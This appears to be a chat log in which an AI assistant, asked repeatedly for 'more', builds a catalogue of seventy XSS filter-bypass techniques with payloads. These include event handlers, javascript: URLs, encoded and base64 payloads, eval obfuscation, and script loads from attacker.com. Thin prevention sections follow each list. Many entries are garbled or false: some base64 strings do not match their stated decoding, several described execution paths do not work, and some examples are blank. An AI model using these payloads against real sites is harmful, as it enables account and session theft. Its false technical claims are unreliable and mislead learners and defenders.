

XSS Bypass Techniques



give me all type of bypass in xss
with example



Cross-Site Scripting (XSS) is a type of vulnerability that allows attackers to inject malicious scripts into webpages viewed by other users. Here are some common types of XSS bypass techniques with examples:

1. Reflected XSS

In this type, the malicious script is reflected off a web server. It usually comes from a user input, such as query parameters.

Example: A vulnerable URL: ``http://example.com/search?q=<script>alert('XSS')</script>``

By injecting the script into the search query, an attacker can trigger the alert.

2. Stored XSS

Here, the malicious script is stored in the database, and it is executed whenever a user views the stored data.

Example: An attacker submits a comment containing a script: ``<script>alert('Stored XSS')</script>`` If the comment is saved in the database and displayed on the page, every user who views the page triggers the script.

3. DOM-based XSS

This occurs when the payload is triggered by JavaScript running in the browser and not by the server. The vulnerability is often within client-side code.

Example:

```
javascript
```

```
let userInput = document.location.hash.substring(1); // Extracts input from the URL fragment
document.getElementById('output').innerHTML = userInput;
```

An attacker can inject something like ``#<script>alert('DOM XSS')</script>`` into the URL, and the script will be executed.

Bypass Techniques:

4. Encoding and Obfuscation

Attackers can encode payloads to bypass filters.

- **Hex Encoding:** ``%3Cscript%3Ealert('XSS')%3C/script%3E``
- **Base64 Encoding:** ``data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=``

5. Event Handler Injection

Instead of injecting script tags, an attacker can inject event handlers like ``onmouseover``, ``onerror``, etc.

Example: ````

6. JavaScript Protocol

The ``javascript:`` protocol can be used to execute scripts in attributes like ``href``.

Example: ``Click me``

7. Bypassing Filters Using Encodings

Many web applications filter certain characters like ``<``, ``>``, and ``;``, but encoding them can bypass the filter.

Example:

- ``<script>`` can be written as ``%3Cscript%3E`` or ``<script>``.

8. Use of Invalid Tags

Some filters allow certain tags to bypass their defenses, like ``img``, ``svg``, and ``math``.

Example:

```
html

<svg/onload=alert('XSS')>
```

9. Bypassing with Non-ASCII Characters

Some filters might not handle Unicode characters properly. Attackers can use non-ASCII characters to bypass filters.

Example:

```
html

<scr<script>ipt>alert('XSS')</scr<script>ipt>
```

10. Bypassing With Script Type Attributes

Sometimes ``type`` attributes in ``<script>`` tags can be used to bypass filters.

Example:

```
html

<script type="text/javascript">alert('XSS')</script>
```

or

```
html

<script type="text/ecmascript">alert('XSS')</script>
```

11. Using HTML Entities

HTML entities can be used to bypass input sanitization that filters certain characters.

Example:

```
html

&#60;script&#62;alert('XSS')&#60;/script&#62;
```

12. Using Inline JavaScript

Sometimes script execution can be bypassed using inline JavaScript in attributes or elements.

Example:

```
html

<iframe src="javascript:alert('XSS')"></iframe>
```

These are just a few techniques, and XSS vulnerabilities can be bypassed in several ways. The most effective prevention involves validating and sanitizing user input, using Content Security Policy (CSP), and encoding outputs.



all Bypass Techniques: from basic to advance pro



Here is a comprehensive list of **XSS bypass techniques**, ranging from basic to advanced, that attackers might use to evade detection or security filters.

Basic Bypass Techniques

These methods target basic flaws and filter evasion, typically relying on basic encoding or HTML attribute injection.

1. Character Encoding

- **URL Encoding:** Replacing characters like ``<``, ``>``, and ``;`` with their encoded equivalents.
 - Example: ``<script>`` becomes ``%3Cscript%3E``.
- **HTML Entity Encoding:** Replacing characters with HTML entities.
 - Example: ``<script>`` becomes ``<script>``.

2. Using Alternative Tags or Attributes

- Many filters do not block attributes such as ``onmouseover``, ``onerror``, and ``href`` in HTML tags.
 - Example: ````.

3. Use of ``` Tag

- The ```` tag can be used with the ``onerror`` attribute to trigger XSS.
 - Example: ````.

4. JavaScript Protocol in Links

- The ``javascript:`` protocol in a link (``<a>``) can be used to execute JavaScript.
 - Example: ``Click me``.

5. Inline JavaScript in ``src`` Attributes

- Exploiting attributes like ``src`` in ``iframe``, ``img``, or ``script`` tags can allow inline JavaScript execution.
 - Example: ``<iframe src="javascript:alert('XSS')"></iframe>``.

Intermediate Bypass Techniques

These techniques target slightly more advanced filtering mechanisms and leverage non-standard encodings or JavaScript features.

6. Base64 Encoding

- Encoding payloads in Base64 can help bypass certain filters that block script tags or characters.
 - Example: ``data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyK8L3NjcmlwdD4=``, which decodes to ``<script>alert('XSS')</script>``.

7. Using Event Handlers (Non-Standard Attributes)

- Many HTML event handlers, such as ``onfocus``, ``onload``, and ``onmouseover``, can trigger JavaScript execution.
 - Example: ``<div onmouseover="alert('XSS')">Hover me</div>``.

8. JavaScript in ``svg`` Tags

- SVG tags allow embedding JavaScript using event attributes or ``onload`` for executing scripts.
 - Example: ``<svg/onload=alert('XSS')>``.

9. DOM Manipulation

- Manipulating the DOM using JavaScript inside injected payloads to affect user inputs or locations on the page.
 - Example: Attacker controls URL fragment and injects malicious code into the ``window.location.hash``.

10. Bypassing with ``srcset`` and ``background-image``

- Injecting scripts using CSS styles in elements such as ```` or ``<div>`` tags.

- Example: ``.

Advanced Bypass Techniques

These techniques take advantage of more sophisticated web application behaviors and obscure methods of bypassing more advanced filters.

11. Bypassing Content Security Policy (CSP)

- Even with a CSP in place, attackers can use inline `eval()` or nonces to bypass restrictions.
 - Example: Using a data URL or an external domain allowed by CSP.

12. Double Encoding

- Double encoding can bypass security filters that decode input once.
 - Example: `javascript:alert('XSS')` will decode as `javascript:` and execute.

13. Bypassing with `script` in `data:` URL

- Injecting JavaScript into a `data:` URI.
 - Example: `<a href="data:text/html,<script>alert('XSS')</script>">Click`.

14. Template Injection (Server-Side XSS)

- Exploiting templating engines (like Thymeleaf, Jinja, or Handlebars) that don't properly escape user input.
 - Example: Using `{{"XSS"}}` in a template to trigger XSS.

15. Use of WebSockets

- Malicious WebSocket communications can be used for more advanced XSS attacks by injecting malicious payloads.
 - Example: WebSocket payload sending JavaScript to the client.

16. Abusing JavaScript Libraries

- Many JavaScript libraries (e.g., jQuery, Angular) can be exploited due to improper sanitization.
 - Example: Injecting malicious payloads into specific attributes that a JS framework may not filter correctly.

17. Exploiting `XMLHttpRequest` or `fetch`

- Using JavaScript to perform `XHR` or `fetch` requests that are capable of injecting malicious content dynamically.
 - Example: Using `fetch` to load remote malicious scripts that exploit XSS.

Pro Techniques and Escalation

These techniques combine multiple vulnerabilities or advanced JavaScript features to carry out a sophisticated attack.

18. Bypassing Script Blocking with JavaScript in HTML5 Features

- Using HTML5 features like `localStorage`, `sessionStorage`, `WebSocket`, `Worker` threads, or `serviceWorker` to store and execute malicious payloads.
- Example: Attacker stores malicious JavaScript in `localStorage` and executes it later via `WebSocket` or `eval()`.

19. Bypassing Filters Using `iframe` with Custom JavaScript

- Creating cross-domain iframes and using JavaScript to break out of sandbox restrictions.

- Example: Injecting an iframe with JavaScript and breaking sandbox restrictions through `postMessage`.

20. Polyglot Payloads

- A polyglot is a payload that works in multiple contexts (e.g., HTML, JavaScript, CSS).
- Example: `<svg/onload=alert('XSS')>` works in SVG and HTML contexts, bypassing sanitizers for both.

21. Bypassing Using `eval()` and `setTimeout()`

- Using JavaScript functions such as `eval()`, `setTimeout()`, `setInterval()`, or `Function()` to bypass restrictions.
- Example: `eval(String.fromCharCode(97,108,101,114,116))` will execute the payload `alert`.

22. Cross-Site Script Inclusion (XSSI)

- Exploiting the vulnerability in which an attacker can load a script from another domain and use it to steal information from the vulnerable site.
- Example: `<script src="https://attacker.com/malicious.js"></script>`

Evading Anti-XSS Tools

For sites using tools like XSS filters, attackers can use creative methods to bypass their detection.

23. Using Non-Standard Character Sets (Unicode)

- Injecting Unicode characters to bypass filters that only look for traditional ASCII characters.
- Example: Using `\u003cscript\u003e` instead of `<script>`.

24. Abusing Browser Quirks

- Leveraging browser-specific bugs or quirks to evade filter mechanisms or trigger XSS in unconventional ways.

25. Bypassing JavaScript-Based XSS Filters

- Many JavaScript filters do not account for all encoding types or sanitization techniques.
- Example: Using string manipulation functions like `String.fromCharCode()` to decode and trigger payloads.

Prevention Techniques

To counter XSS vulnerabilities, the following practices are essential:

- **Sanitization:** Use libraries like OWASP Java HTML Sanitizer to clean user input.
- **Escaping:** Always escape data before injecting it into HTML, JavaScript, or URLs.
- **Content Security Policy (CSP):** Enforce strict CSP rules to limit script execution sources.
- **Input Validation:** Validate input using whitelists, not blacklists.
- **Use Safe APIs:** Prefer safe APIs for manipulating the DOM and handling user data, such as `textContent` and `setAttribute`.

XSS bypass techniques evolve constantly, but thorough input sanitization, escaping, and the use of modern defenses like CSP can significantly reduce risk.



more



Here are even more **advanced XSS bypass techniques** and evasion methods, including those that exploit subtle behavior in browsers, client-side features, and frameworks. These techniques are often used in sophisticated attacks and may require deep knowledge of web security mechanisms and browser internals.

Advanced and Obscure XSS Bypass Techniques

**1. Double URL Encoding

- Double encoding involves encoding an already encoded payload again to bypass filters that decode input once.
- **Example:**
 - Payload: ``%25%33%43%73%63%72%69%70%74%3Ealert('XSS')%3C%2Fscript%3E`` (Encoded twice: ``%25` = `%``).

2. Using ``onload`` and ``onerror`` in HTML Elements

- Some HTML elements, such as ``<iframe>``, ````, ``<object>``, or ``<embed>``, allow JavaScript execution via their ``onload`` or ``onerror`` event attributes.
- **Example:**
 - ``<iframe src="javascript:alert('XSS')"></iframe>``
 - ````.

3. XSS through Content-Disposition Header

- If the Content-Disposition header is used to force file downloads, it can sometimes lead to JavaScript execution when the file is rendered.
- **Example:**
 - ``Content-Disposition: attachment; filename="foo.svg"``. The SVG file can contain ``<script>`` tags that execute when rendered.

4. HTML5 Web Workers

- Web Workers can be used to execute JavaScript asynchronously in the background. Malicious payloads in Worker code can lead to XSS.
- **Example:**
 - ``<script>var w = new Worker("data:application/javascript,alert('XSS');");</script>``.

5. Exploiting ``location.hash``

- The ``location.hash`` (or URL fragment) is often used to read values from the URL and can be a source for DOM-based XSS when used improperly.
- **Example:**
 - ``http://example.com/#<script>alert('XSS')</script>`` will inject the payload into the document if not sanitized.

6. Using `eval()` with Dynamic JavaScript Functions

- Functions like `eval()`, `setTimeout()`, `setInterval()`, `Function()` can be used to evaluate code dynamically and can help in evading filters.
- **Example:**
 - `setTimeout("alert('XSS')", 1);`
 - `eval("alert('XSS')")`.

7. Cross-Protocol XSS (CSP and CORS Bypass)

- Using different protocols like `ftp://`, `file://`, or `mailto://` in certain contexts can allow attackers to bypass CSP or CORS restrictions.
- **Example:**
 - Using `file://` links or `mailto://` to execute payloads on client systems.

8. Using `src` Attributes in Non-Script Elements

- Some elements like `<audio>`, `<video>`, and `<object>` support `src` attributes that can be used to load JavaScript content in ways that evade detection.
- **Example:**
 - `<object data="javascript:alert('XSS')"></object>`
 - `<audio src="javascript:alert('XSS')"></audio>`.

9. Exploiting `script` Tags in SVG, MathML, or VML

- Advanced vector graphic formats like SVG, MathML, or VML support script tags, and when these elements are improperly sanitized, they can execute JavaScript.
- **Example:**
 - `<svg onload="alert('XSS')"></svg>`
 - `<math><script>alert('XSS')</script></math>`.

10. Manipulating `document.domain`

- Using `document.domain` to bypass the same-origin policy in certain cases.
- **Example:**
 - `<script>document.domain="attacker.com"</script>` to alter the domain of the current document and potentially bypass same-origin restrictions.

11. JSONP Hijacking

- JSONP (JSON with Padding) can be exploited if not properly sanitized. Attackers can inject malicious JavaScript using dynamic JSONP endpoints.
- **Example:**
 - `http://victim.com/api?callback=alert('XSS')`.

12. Using Browser Console in Exploits

- Attackers can execute scripts directly via the browser console by tricking users into executing malicious commands.
- **Example:**
 - `javascript:eval("alert('XSS')")` entered into the console.

Obscure and Highly Advanced XSS Techniques

13. Exploiting Browser-Specific Bugs

- Browsers sometimes have specific parsing issues or quirks that can be exploited for XSS. These can range from invalid handling of encoding to improper script execution flow.
- **Example:** Exploiting quirks in older versions of browsers like Internet Explorer (IE) or Safari to bypass modern filters.

14. Exploiting `iframe` Sandbox Attributes

- Attackers can use `iframe` elements with sandbox attributes to perform XSS in limited contexts, bypassing restrictions when combined with clever manipulation of permissions.
- **Example:**
 - `<iframe src="javascript:alert('XSS')" sandbox="allow-scripts"></iframe>`.

15. Using `data:` URI in ``, `<iframe>`, and `<audio>`

- Malicious payloads can be injected using the `data:` URI scheme. These schemes allow attackers to store data inline in HTML, bypassing filters and Content Security Policies.
- **Example:**
 - `<iframe src="data:text/html,<script>alert('XSS')</script>"></iframe>`
 - ``.

16. Using `postMessage`

- The `postMessage` API can be used to communicate across domains. Attackers can use this to inject payloads into the global scope and exploit vulnerabilities in message listeners.
- **Example:**
 - Sending a message to the window with a malicious script: `window.postMessage("<script>alert('XSS')</script>", "*");`.

17. Timing Attacks and Race Conditions

- Leveraging race conditions between different parts of the application (for example, between DOM updates and event handlers) can lead to XSS being triggered.
- **Example:** Triggering malicious scripts when input elements are updated asynchronously by JavaScript.

18. CSS Injection

- Sometimes, attackers can inject CSS into web pages in ways that affect JavaScript execution. For example, using `url()` in CSS or embedding JavaScript through `background-image`.
- **Example:**
 - `background-image: url("javascript:alert('XSS')");`.

19. Exploiting WebSocket Communication for XSS

- Using WebSockets to send malicious JavaScript payloads between client and server, bypassing many traditional content security measures.

- **Example:**
 - Using WebSocket communication to inject an XSS payload in real-time between client and server.

20. Advanced Template Injection

- Many templating engines are vulnerable to injection attacks if they do not properly sanitize inputs before rendering. Advanced attackers may chain template injections with DOM-based XSS.
- **Example:** Using the Mustache, Handlebars, or Jinja template engines improperly (e.g., `{{user_input}}`).

Highly Effective Prevention Measures

To mitigate XSS attacks, it's important to:

1. Use Strict Content Security Policy (CSP)

- A robust CSP can prevent many forms of XSS by restricting where scripts can be loaded from and blocking inline JavaScript.

2. Sanitize Input Properly

- Always sanitize user input to ensure it's not executing scripts. Use well-maintained libraries to escape output properly.

3. Use Secure HTTP Headers

- Implement HTTP headers like `X-XSS-Protection`, `X-Content-Type-Options`, and `Strict-Transport-Security` to enhance security.

4. Leverage Frameworks That Handle XSS

- Use web frameworks that automatically escape user input (e.g., Django, Angular, React) and provide built-in XSS protections.

5. Regular Security Audits

- Perform regular security audits and penetration testing to detect and fix any XSS vulnerabilities.

These advanced XSS bypass techniques demonstrate the complexity of web security. Effective defense against these attacks requires a layered approach, combining input validation, output encoding, and the use of modern web security best practices.



more



Here are even more advanced **XSS bypass techniques**, as well as additional examples that attackers might use to circumvent security mechanisms and bypass detection.

Extended and Advanced XSS Bypass Techniques

21. Exploiting `document.write()`

- The `document.write()` method can be used to inject JavaScript directly into a page, bypassing certain types of script filtering.
- **Example:**
 - `<script>document.write('<script>alert("XSS")</script>');</script>` can trigger XSS when the script tag is injected via `document.write()`.

22. XSS via JSON Data Injection

- If user input is directly embedded in JSON responses and then executed by JavaScript, XSS vulnerabilities may be introduced.
- **Example:**
 - A web application might dynamically generate JSON like `{ "message": "<script>alert('XSS')</script>" }` which could be rendered by JavaScript and executed.

23. Using `setInterval` with `eval()`

- The combination of `eval()` and `setInterval()` can allow XSS to execute after a delay, making it difficult for security tools to catch.
- **Example:**
 - `setInterval("eval('alert(\'XSS\')')", 1000);` allows the script to execute repeatedly, evading detection.

24. Exploiting `document.location` and `location.replace()`

- Malicious JavaScript can be injected into the `location.replace()` or `document.location` method, causing the page to load malicious content.
- **Example:**
 - `document.location='javascript:alert("XSS")';` or `location.replace('javascript:alert("XSS")');` will execute JavaScript within the context of the current page.

25. Using `XMLHttpRequest` (XHR)

- XSS can be executed by creating dynamic requests through `XMLHttpRequest` or `fetch()`. This can bypass many traditional defenses because it makes it look like a valid request from the server.
- **Example:**
 - Injecting JavaScript via `fetch('http://attacker.com/malicious.js')` or making an XHR request that returns JavaScript to be executed.

26. Manipulating `localStorage` or `sessionStorage`

- Malicious scripts can store XSS payloads inside `localStorage` or `sessionStorage`, which are then retrieved and executed at a later time.
- **Example:**
 - Storing a malicious payload in `localStorage` via `localStorage.setItem('xss', '<script>alert("XSS")</script>');` and triggering it by accessing `localStorage.xss`.

27. Exploiting JSONP (JSON with Padding)

- JSONP vulnerabilities allow attackers to inject malicious JavaScript by manipulating the response returned by a JSONP endpoint.

- **Example:**
 - `http://victim.com/jsonp?callback=alert('XSS')` could execute the injected JavaScript when the malicious callback is invoked.

28. Leveraging Cross-Origin Resource Sharing (CORS)

- If CORS headers are improperly configured, attackers can load JavaScript from a malicious domain, bypassing same-origin policy restrictions.
- **Example:**
 - Crafting a malicious request from another domain (e.g., via an iframe or XMLHttpRequest) to inject content into a vulnerable page using the `CORS` configuration flaws.

29. DOM-Based XSS via `innerHTML` and `outerHTML`

- Manipulating the DOM directly with `innerHTML` or `outerHTML` can result in XSS if the content is not properly sanitized.
- **Example:**
 - `document.getElementById("output").innerHTML = "<script>alert('XSS')</script>";`

30. Triggering XSS with `window.name`

- Using the `window.name` property can bypass certain filters, as it is a commonly overlooked property by web application developers.
- **Example:**
 - Storing a script in `window.name` (e.g., `window.name = "<script>alert('XSS')</script>";`) and retrieving it via JavaScript later.

Evasion Techniques Against Modern Defenses

31. Using Non-Standard JavaScript Libraries or Custom JavaScript Functions

- Attackers may use custom JavaScript functions or lesser-known libraries that aren't flagged by conventional XSS filters.
- **Example:**
 - Using custom libraries that decode input or escape strings on the client-side, enabling malicious script execution that bypasses filters.

32. Combining CSS and JavaScript Injection

- Attackers can inject JavaScript within CSS properties like `background-image`, `url()`, or `expression()`. Some older browsers (e.g., Internet Explorer) allow the `expression()` function to execute JavaScript in CSS.
- **Example:**
 - `background-image: url('javascript:alert("XSS")');`
 - `width: expression(alert("XSS"))` (only in IE).

33. Exploiting User-Uploaded Files

- File uploads that aren't properly sanitized or validated can be used to upload files that execute JavaScript when rendered by the browser (e.g., SVG, HTML, or even PDF files with embedded

scripts).

- **Example:**
 - Uploading a `.svg` file with a script tag that gets executed when the file is rendered on the page.

34. Using Uncommon HTML Tags

- Some rare HTML tags or attributes (like `<object>`, `<embed>`, and `<applet>`) may not be properly sanitized by filters and can trigger XSS payload execution.
- **Example:**
 - `<object data="javascript:alert('XSS')"></object>`
 - `<applet code="java:alert('XSS')"></applet>`.

35. Exploiting `JavaScript: URLs` with CSS Injection

- Combining JavaScript URL protocols in CSS files to bypass filtering mechanisms.
- **Example:**
 - Injecting `javascript:` inside CSS files, which some web apps might not validate.
 - `background:url('javascript:alert(1)')`.

36. Abuse of `data:` URLs in HTML and CSS

- The `data:` URL scheme can be used to encode payloads as part of resources like images or CSS, bypassing traditional XSS filters.
- **Example:**
 - `` where the base64-encoded string contains a malicious script.

37. Exfiltration Using WebSockets or Beacon API

- Using WebSockets or the Beacon API to send malicious data to a remote server, exfiltrating data or triggering malicious actions.
- **Example:**
 - Using `WebSocket` to inject payloads via `ws://` requests from an XSS vulnerability.

38. Leveraging HTML5 `history.pushState()` and `popstate`

- Using the `pushState()` and `popstate` methods in HTML5's History API, attackers can manipulate the state of the page, leading to DOM-based XSS by injecting JavaScript in URLs.
- **Example:**
 - `history.pushState("state", "title", "javascript:alert('XSS')");`

39. Abuse of `eval()` in JSON Data Parsing

- Injecting an XSS payload using `eval()` in JSON data parsing when untrusted JSON is executed by the server or client.
- **Example:**
 - `eval('(' + response + ')');` where `response` includes malicious JSON with a script tag.

40. Exploiting `object` and `embed` Tags in Flash and Other Plugins

- Certain plugins (like Flash) might not be properly sanitized, allowing XSS via `<object>` or `<embed>` tags.
- **Example:**
 - `<object data="data:application/x-shockwave-flash;base64,..."></object>` (Exploiting Flash vulnerabilities to inject XSS payloads).

Additional Advanced Mitigation Techniques

To defend against these advanced XSS bypass methods, follow these enhanced measures:

1. Content Security Policy (CSP):

- Use a strong Content Security Policy (CSP) to restrict inline scripts, dynamically injected content, and other potential XSS vectors.

2. Subresource Integrity (SRI):

- Use Subresource Integrity (SRI) for third-party resources to ensure they haven't been tampered with.

3. Secure Context for `window.name` and `document.domain`:

- Limit or properly sanitize use of `window.name`, `document.domain`, and other powerful global properties.

4. Input Validation and Output Encoding:

- Use frameworks and libraries that automatically escape and sanitize input to prevent injection into HTML, JavaScript, CSS, and other contexts.

5. JavaScript Sandboxing:

- Isolate potentially untrusted JavaScript in a sandbox (e.g., using `iframe` with `sandbox` attribute) to prevent it from performing dangerous actions.

6. Disabling Unsafe Features:

- Disable unsafe HTML tags (`<script>`, `<object>`, `<applet>`, `<embed>`) and unsafe attributes (`on*` event handlers) in user-generated content.

By implementing these defense mechanisms and being aware of the most advanced bypass techniques, web applications can significantly reduce their vulnerability to XSS attacks.



more



Here are even more advanced **XSS bypass techniques** and some lesser-known methods that attackers may use to exploit vulnerabilities in web applications.

Even More Advanced XSS Bypass Techniques

41. Exploiting `srcdoc` Attribute in `<iframe>`

- The `srcdoc` attribute in the `<iframe>` tag allows HTML content to be directly embedded inside an iframe. Malicious payloads can be injected via this attribute to bypass certain filters.

- **Example:**
 - `<iframe srcdoc="<script>alert('XSS')</script>"></iframe>` can be used to inject JavaScript if the iframe is not properly sanitized.

42. XSS via `Data` URL in `` Tags

- Just like `data:` URIs in `img` tags, they can be injected in `link` tags for stylesheets, bypassing filters that allow non-standard content.
- **Example:**
 - `<link rel="stylesheet" href="data:text/css,body{background-image:url('javascript:alert('XSS')');}">`.

43. Using `url()` in CSS with JavaScript Execution

- The `url()` function in CSS can be leveraged to execute JavaScript through embedded payloads.
- **Example:**
 - `background-image: url('javascript:alert("XSS")');` injected into CSS could trigger an XSS attack.

44. Exploiting Dynamic HTML (DHTML) via DOM Manipulation

- Dynamic HTML (DHTML) allows for manipulating the DOM, which can be exploited by injecting JavaScript via DOM methods like `innerHTML`, `outerHTML`, `insertAdjacentHTML`, etc.
- **Example:**
 - `document.getElementById('someElement').innerHTML = '';` allows an attacker to insert JavaScript code through DOM manipulation.

45. Bypassing Filters with `toString()` Method

- The `toString()` method can be used to obfuscate malicious payloads, making it difficult for filters to detect XSS attempts.
- **Example:**
 - `var payload = String.fromCharCode(60, 115, 99, 114, 105, 112, 116, 62, 97, 108, 101, 114, 116, 40, 39, 88, 83, 83, 39, 41, 60, 47, 115, 99, 114, 105, 112, 116, 62); eval(payload);`
 - This approach uses `String.fromCharCode()` to encode the malicious payload, which will execute the XSS when decoded.

46. XSS via `history.pushState()` in Combination with `location.replace()`

- This technique combines the `history.pushState()` and `location.replace()` methods, which can be used to inject JavaScript into the page history and execute malicious scripts.
- **Example:**
 - `history.pushState('state', 'title', 'javascript:alert("XSS")');`
`location.replace('javascript:alert("XSS")');` allows for XSS payloads to be executed in page transitions or reloads.

47. XSS via `HTML5 Web Messaging` (PostMessage)

- The `postMessage` API is a messaging system that allows cross-origin communication. Malicious content can be injected into the message content and executed in another window or frame.

- **Example:**
 - `window.postMessage('<script>alert("XSS")</script>', '*');` could inject the script into a window that listens to the `postMessage` event.

48. Cross-Domain DOM-based XSS

- In some cases, attackers can exploit DOM-based XSS vulnerabilities across different domains (cross-origin) by manipulating window properties or using `postMessage`.
- **Example:**
 - Maliciously crafted URL: `http://attacker.com/#<script>alert('XSS')</script>` could be used to inject content into a third-party website if it uses `window.location.hash` to parse URL fragments and improperly executes the content.

49. Using `src` in `data:` URIs in JavaScript Contexts

- Some JavaScript contexts, such as `eval()`, `setTimeout()`, and `setInterval()`, may accept and execute `data:` URLs, allowing attackers to bypass common XSS filters.
- **Example:**
 - `eval("javascript:alert('XSS')");` could execute the payload if `eval()` is not properly sanitized.

50. Exploiting JavaScript Frameworks

- JavaScript frameworks such as AngularJS, React, and Vue.js can sometimes be misconfigured or improperly sanitized, leading to XSS vulnerabilities.
- **Example:**
 - AngularJS can be exploited via the `ng-attr` or `ng-click` attributes, while React's `dangerouslySetInnerHTML` method can lead to XSS if user data is not sanitized properly.

Highly Obscure and Specialized XSS Bypass Techniques

51. Using Base64 Encoded Payloads in HTML5 Local Storage

- Base64 encoding can obscure XSS payloads, especially when storing and retrieving them from `localStorage` or `sessionStorage`.
- **Example:**
 - Storing a payload in `localStorage`:
 - `localStorage.setItem('xss', 'PHNjcmlwdD5hbGVydCgnWFNTJyK8L3NjcmlwdD4=');`
 - Later, retrieving it and executing the script via `eval(atob(localStorage.getItem('xss')))`.

52. Exploiting `src` in `object` Tags for JavaScript Execution

- The `object` tag can be used to load external resources, including JavaScript, using `data:` URLs.
- **Example:**
 - `<object data="data:text/javascript,<script>alert('XSS')</script>"></object>` will execute the embedded JavaScript.

53. XSS Using File Protocol (file://)

- Exploiting the `file://` protocol, attackers can sometimes bypass restrictions and execute malicious files locally.
- **Example:**
 - `file://<path>/malicious.html` or `file://<path>/malicious.js` if browsers mistakenly treat file resources as HTML/JavaScript.

54. XSS via `<script>` Type (Non-JavaScript)

- Browsers can be tricked into interpreting certain non-JavaScript content as executable code by specifying uncommon MIME types or the `type` attribute in `<script>` tags.
- **Example:**
 - `<script type="text/javascript">alert('XSS');` could be a typical XSS payload, but newer bypasses might involve HTML5 or other content types (e.g., `type="image/jpeg"`).

55. Abuse of `window.onerror` Event Handler

- The `window.onerror` event handler can be exploited to execute malicious JavaScript code if improperly handled or manipulated.
- **Example:**
 - Injecting JavaScript into `window.onerror` by throwing an error:
 - `throw new Error("<script>alert('XSS')</script>");`

56. Using HTML Entities to Obfuscate Payloads

- Malicious payloads can be obfuscated using HTML entities (e.g., `<script>`), making it difficult for filters that are not encoding-aware to detect them.
- **Example:**
 - `<script>alert('XSS')</script>` is a common way to bypass filters that only block script tags.

57. Exploiting `eval()` with `Function()` Constructor

- Both `eval()` and `Function()` constructors can be used to dynamically execute code in a vulnerable web application, bypassing many security mechanisms.
- **Example:**
 - `var func = new Function("alert('XSS')"); func();` or `eval("alert('XSS')");`

58. XSS Through External API Calls (AJAX)

- If an external API is poorly sanitized and then injected into the DOM, it could introduce XSS vulnerabilities.
- **Example:**
 - An attacker exploits an API like `https://api.example.com/data` that returns a script, which is then executed when rendered in the browser via JavaScript.

59. Exploiting WebAssembly (Wasm)

- WebAssembly can be exploited for XSS by injecting malicious WebAssembly code that will execute in the browser.
- **Example:**

- Injecting a WebAssembly module that executes a payload when loaded or triggered by JavaScript.

Preventing These XSS Techniques

1. Use Secure Coding Practices:

- Always sanitize and escape input and output to prevent injection of malicious scripts. Use safe APIs and libraries that avoid evaluating user-controlled content.

2. Implement Content Security Policy (CSP):

- Use a strict Content Security Policy (CSP) to prevent the loading of malicious scripts from untrusted sources. It also helps block inline JavaScript and eval() usage.

3. Use `HttpOnly` and `Secure` Flags for Cookies:

- Set the `HttpOnly` and `Secure` flags for session cookies to prevent JavaScript access to cookies and to ensure cookies are sent over HTTPS.

4. Avoid Using `eval()` and Similar Functions:

- Avoid the use of `eval()`, `setTimeout()`, and `setInterval()` with string arguments, as they can be exploited for XSS.

5. Regularly Audit Code and Perform Penetration Testing:

- Regular code reviews, static analysis, and penetration testing can help identify and eliminate XSS vulnerabilities before they can be exploited.

6. Use Modern Web Frameworks:

- Modern web frameworks like React, Angular, and Vue automatically escape dynamic content and provide mechanisms to prevent XSS vulnerabilities.

These additional bypass techniques show just how complex and persistent XSS vulnerabilities can be, especially in cases where attackers are combining different mechanisms or exploiting unusual browser behaviors. It's crucial to follow best security practices to ensure your applications remain secure.



more



Here are more advanced **XSS bypass techniques**, including those that are especially tricky, as well as some nuances that attackers might exploit:

Advanced XSS Bypass Techniques

60. Using `XMLHttpRequest` (XHR) with Malicious JSON

- If an attacker can inject data into the `XMLHttpRequest` (XHR) response, they can trigger XSS when the response is handled and executed.
- **Example:**
 - The server might return JSON like:
 - `{"message": "<script>alert('XSS')</script>"}`

- When the XHR response is rendered using `innerHTML`, it will execute the malicious script.

61. XSS via `Object.defineProperty()`

- If an attacker can use `Object.defineProperty()` to redefine certain properties of JavaScript objects, they can inject malicious code that gets executed when these properties are accessed.
- **Example:**
 - `Object.defineProperty(window, 'alert', { get: function() { eval("alert('XSS')") } });`
 - This will redefine the `alert` method, and any call to `alert()` will execute XSS.

62. Exploiting `ClipboardEvent`

- Malicious JavaScript injected through clipboard events can trigger XSS when a user pastes content into an input field.
- **Example:**
 - Injecting a malicious script that executes when pasted into a form field:
 - `<input type="text" onpaste="alert('XSS')">`.

63. XSS via Web Workers

- Web Workers run JavaScript in the background and might not be well-secured by default in some web applications, allowing attackers to inject malicious code.
- **Example:**
 - An attacker could exploit the Web Worker by injecting a payload into the worker's script execution context:
 - `new Worker("data:text/javascript,alert('XSS');");`.

64. Bypassing Filter with Base64 Encoding

- Attackers can encode their payloads using Base64 encoding to evade security filters that rely on detecting specific patterns or strings.
- **Example:**
 - `data:text/javascript;base64,PHNjcmlwdD5hbGVydCgnWGFnZyBXZWJhc3NlJyk8L3NjcmlwdD4=`
 - This encodes `<script>alert('XSS')</script>`, bypassing some filters that might be looking for specific tags or characters.

65. XSS via CSS `@import` Rule

- The `@import` rule in CSS can be used to load external resources, which might be exploited to load a malicious JavaScript file.
- **Example:**
 - `@import url('data:text/css,<script>alert("XSS")</script>');`
 - This method could be used to execute JavaScript by importing it through CSS.

66. Using `iframe` for Stealthy XSS

- Attackers can inject an invisible iframe to load a malicious page, which can trigger XSS without raising immediate suspicion.
- **Example:**
 - `<iframe src="javascript:alert('XSS')" style="display:none;"></iframe>`.
 - The script will run in the context of the iframe without visually rendering it.

67. Exploiting `background-image` with `javascript:` URLs

- Similar to using `url()` in CSS for `background-image`, attackers can inject `javascript:` URLs, exploiting vulnerabilities in web pages that improperly parse CSS properties.
- **Example:**
 - `background-image: url('javascript:alert("XSS")');`

68. Abusing Non-Secure `iframe` Attributes

- If an application doesn't apply strict security policies to the attributes of `<iframe>`, an attacker might inject scripts through these tags.
- **Example:**
 - `<iframe src="javascript:alert('XSS');" sandbox="allow-scripts"></iframe>`

69. XSS via Cross-Origin Resource Injection (CORS Misconfiguration)

- Misconfigurations in CORS (Cross-Origin Resource Sharing) can allow attackers to inject scripts into another domain's context, bypassing certain restrictions.
- **Example:**
 - If the server has open CORS settings, an attacker can inject a script into an iframe or XHR request that interacts with the main website.

70. XSS via `navigator` API

- Exploiting various properties of the `navigator` object, attackers can inject malicious payloads by injecting custom code into the `navigator` APIs.
- **Example:**
 - `navigator.browserLanguage = '<script>alert("XSS")</script>';`
